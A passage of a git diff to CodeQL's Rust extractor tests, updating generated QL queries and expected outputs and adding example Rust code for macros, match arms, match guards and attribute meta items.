...::format_args_nl!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasMacroCallExpansion: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql index 56044c127c26..b9461abfcf18 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasPath, string hasTokenTree, string hasExpanded + MacroCall x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasPath, string hasTokenTree, + string hasMacroCallExpansion where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,16 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasPath() then hasPath = "yes" else hasPath = "no") and (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and - if x.hasExpanded() then hasExpanded = "yes" else hasExpanded = "no" + if x.hasMacroCallExpansion() then hasMacroCallExpansion = "yes" else hasMacroCallExpansion = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasPath:", hasPath, "hasTokenTree:", hasTokenTree, - "hasExpanded:", hasExpanded + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasPath:", hasPath, "hasTokenTree:", hasTokenTree, "hasMacroCallExpansion:", + hasMacroCallExpansion diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..7931273e757e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroCall x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.expected deleted file mode 100644 index f4bb40db46b8..000000000000 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.expected +++ /dev/null @@ -1 +0,0 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:11 | MacroBlockExpr | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected new file mode 100644 index 000000000000..e93d36c8ac27 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.expected @@ -0,0 +1,2 @@ +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:14:7:28 | MacroBlockExpr | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | FormatArgsExpr | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql similarity index 79% rename from rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql rename to rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql index be63430c9edc..6ce5fd6e7c88 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql @@ -4,4 +4,4 @@ import TestUtils from MacroCall x where toBeTested(x) and not x.isUnknown() -select x, x.getExpanded() +select x, x.getMacroCallExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected index 23762715c9a2..0f17b0ddd121 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getPath.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:5:5:8 | todo | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:5:7:11 | println | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:5:7:29 | ...::format_args_nl | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected index d2ed004ecc43..833429dd94fe 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.expected @@ -1 +1,2 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | gen_macro_call.rs:5:10:5:11 | TokenTree | +| gen_macro_call.rs:7:5:7:29 | println!... | gen_macro_call.rs:7:13:7:29 | TokenTree | +| gen_macro_call.rs:7:14:7:28 | ...::format_args_nl!... | gen_macro_call.rs:7:14:7:28 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 33b3ec161245..ababca69009f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_call() -> () { - // A MacroCall. For example: - todo!() + // A macro invocation. + // + // For example: + println!("Hello, world!"); } diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/some.txt b/rust/ql/test/extractor-tests/generated/MacroCall/some.txt new file mode 100644 index 000000000000..10ddd6d257e0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroCall/some.txt @@ -0,0 +1 @@ +Hello! diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected index e69de29bb2d1..2aa118cbfbc4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | hasArgs: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasName: | yes | hasVisibility: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql index 957d5b9ea9ee..3ec25748abd4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasArgs, - int getNumberOfAttrs, string hasBody, string hasName, string hasVisibility + MacroDef x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, string hasArgs, int getNumberOfAttrs, string hasBody, + string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,11 +15,17 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and (if x.hasArgs() then hasArgs = "yes" else hasArgs = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasArgs:", hasArgs, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "hasName:", - hasName, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasArgs:", hasArgs, + "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, "hasName:", hasName, "hasVisibility:", + hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected index e69de29bb2d1..fecd14ff2baa 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getArgs.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:25:7:39 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..be2992839166 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroDef x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected index e69de29bb2d1..776a64f484a0 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getBody.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:41:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected index e69de29bb2d1..7b7e532ab2e4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getName.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:15:7:24 | vec_of_two | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected index e69de29bb2d1..74234db763b6 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected +++ b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.expected @@ -0,0 +1 @@ +| gen_macro_def.rs:4:5:9:5 | MacroDef | gen_macro_def.rs:7:5:7:7 | Visibility | diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 7fdd2aea7569..72c70a7f631d 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A MacroDef. For example: - todo!() + // A Rust 2.0 style declarative macro definition. + // + // For example: + pub macro vec_of_two($element:expr) { + vec![$element, $element] + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected index 79f6d26b811b..819ac71ef403 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | hasMacroCall: | yes | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected index c1815adac090..493f2f882918 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/MacroExpr_getMacroCall.expected @@ -1 +1 @@ -| gen_macro_expr.rs:5:5:5:11 | MacroExpr | gen_macro_expr.rs:5:5:5:11 | todo!... | +| gen_macro_expr.rs:7:13:7:25 | MacroExpr | gen_macro_expr.rs:7:13:7:25 | vec!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs index 245187b18533..effe36402162 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_expr() -> () { - // A MacroExpr. For example: - todo!() + // A macro expression, representing the invocation of a macro that produces an expression. + // + // For example: + let y = vec![1, 2, 3]; } diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs b/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs index 08914ad04525..f7d8c9c42131 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs +++ b/rust/ql/test/extractor-tests/generated/MacroItems/gen_macro_items.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit -// A sequence of items generated by a `MacroCall`. For example: +// A sequence of items generated by a macro. For example: mod foo{ include!("common_definitions.rs"); + + #[an_attribute_macro] + fn foo() { + println!("Hello, world!"); + } + + #[derive(Debug)] + struct Bar; } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected index e69de29bb2d1..b56789484ffd 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:13:9:13:19 | MacroPat | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected index e69de29bb2d1..faa6c1d7e6d4 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_pat.rs:13:9:13:19 | MacroPat | gen_macro_pat.rs:13:9:13:19 | my_macro!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index bfd718fe9285..d44879fae343 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -1,6 +1,17 @@ // generated by codegen, do not edit fn test_macro_pat() -> () { - // A MacroPat. For example: - todo!() + // A macro pattern, representing the invocation of a macro that produces a pattern. + // + // For example: + macro_rules! my_macro { + () => { + Ok(_) + }; + } + match x { + my_macro!() => "matched", + // ^^^^^^^^^^^ + _ => "not matched", + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected index e69de29bb2d1..db582f99f87f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasName: | yes | hasTokenTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql index 7bdc462c01cd..5e1ebacd573f 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules.ql @@ -3,8 +3,9 @@ import codeql.rust.elements import TestUtils from - MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasName, string hasTokenTree, string hasVisibility + MacroRules x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasName, string hasTokenTree, + string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,10 +15,15 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasName() then hasName = "yes" else hasName = "no") and (if x.hasTokenTree() then hasTokenTree = "yes" else hasTokenTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasName:", hasName, "hasTokenTree:", hasTokenTree, - "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasName:", hasName, "hasTokenTree:", hasTokenTree, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..b7b01f36fe70 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MacroRules x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected index e69de29bb2d1..08044386ded5 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getName.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:18:5:25 | my_macro | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected index e69de29bb2d1..9aafcc373892 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.expected @@ -0,0 +1 @@ +| gen_macro_rules.rs:4:5:9:5 | MacroRules | gen_macro_rules.rs:5:27:9:5 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs index 19c15ac5f784..062496ce3f2e 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs +++ b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_rules() -> () { - // A MacroRules. For example: - todo!() + // A macro definition using the `macro_rules!` syntax. + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected index e69de29bb2d1..2f91b7f8d007 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | hasMacroCall: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected index e69de29bb2d1..896e3e199b2c 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/MacroTypeRepr_getMacroCall.expected @@ -0,0 +1 @@ +| gen_macro_type_repr.rs:10:14:10:26 | MacroTypeRepr | gen_macro_type_repr.rs:10:14:10:26 | macro_type!... | diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index 60b382ca8782..a1f80029eb90 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_macro_type_repr() -> () { - // A MacroTypeRepr. For example: - todo!() + // A type produced by a macro. + // + // For example: + macro_rules! macro_type { + () => { i32 }; + } + type T = macro_type!(); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected index e69de29bb2d1..8a796ef9a55b 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList.expected @@ -0,0 +1 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | getNumberOfArms: | 3 | getNumberOfAttrs: | 0 | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected index e69de29bb2d1..5a53f429e983 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/MatchArmList_getArm.expected @@ -0,0 +1,3 @@ +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 0 | gen_match_arm_list.rs:8:9:8:19 | 1 => "one" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 1 | gen_match_arm_list.rs:9:9:9:19 | 2 => "two" | +| gen_match_arm_list.rs:7:13:11:5 | MatchArmList | 2 | gen_match_arm_list.rs:10:9:10:21 | _ => "other" | diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs index b2192f929e2c..e41c67da5280 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs @@ -1,6 +1,13 @@ // generated by codegen, do not edit fn test_match_arm_list() -> () { - // A MatchArmList. For example: - todo!() + // A list of arms in a match expression. + // + // For example: + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected index e69de29bb2d1..2005c2a1c3df 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | hasCondition: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected index e69de29bb2d1..e6d76089e714 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/MatchGuard_getCondition.expected @@ -0,0 +1 @@ +| gen_match_guard.rs:8:11:8:18 | MatchGuard | gen_match_guard.rs:8:14:8:18 | ... > ... | diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs index 9e45b8c3564e..64d9a1c7cf36 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_match_guard() -> () { - // A MatchGuard. For example: - todo!() + // A guard condition in a match arm. + // + // For example: + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } } diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected index e69de29bb2d1..0aa36a59d61a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | hasExpr: | yes | isUnsafe: | yes | hasPath: | yes | hasTokenTree: | no | +| gen_meta.rs:9:7:9:72 | Meta | hasExpr: | no | isUnsafe: | no | hasPath: | yes | hasTokenTree: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected index e69de29bb2d1..b4c0ec937342 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getExpr.expected @@ -0,0 +1 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:27:7:45 | "reason_for_bypass" | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected index e69de29bb2d1..ad4a23a5e2a7 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getPath.expected @@ -0,0 +1,2 @@ +| gen_meta.rs:7:7:7:46 | Meta | gen_meta.rs:7:14:7:23 | ...::name | +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:7:9:16 | deprecated | diff --git a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected index e69de29bb2d1..ffeca33dd3a3 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/Meta/Meta_getTokenTree.expected @@ -0,0 +1 @@ +| gen_meta.rs:9:7:9:72 | Meta | gen_meta.rs:9:17:9:72 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 204fb3bd7de6..104540323f95 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -1,6 +1,14 @@ // generated by codegen, do not edit fn test_meta() -> () { - // A Meta. For example: - todo!() + // A meta item in an attribute. + // + // For example: + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } } diff --git 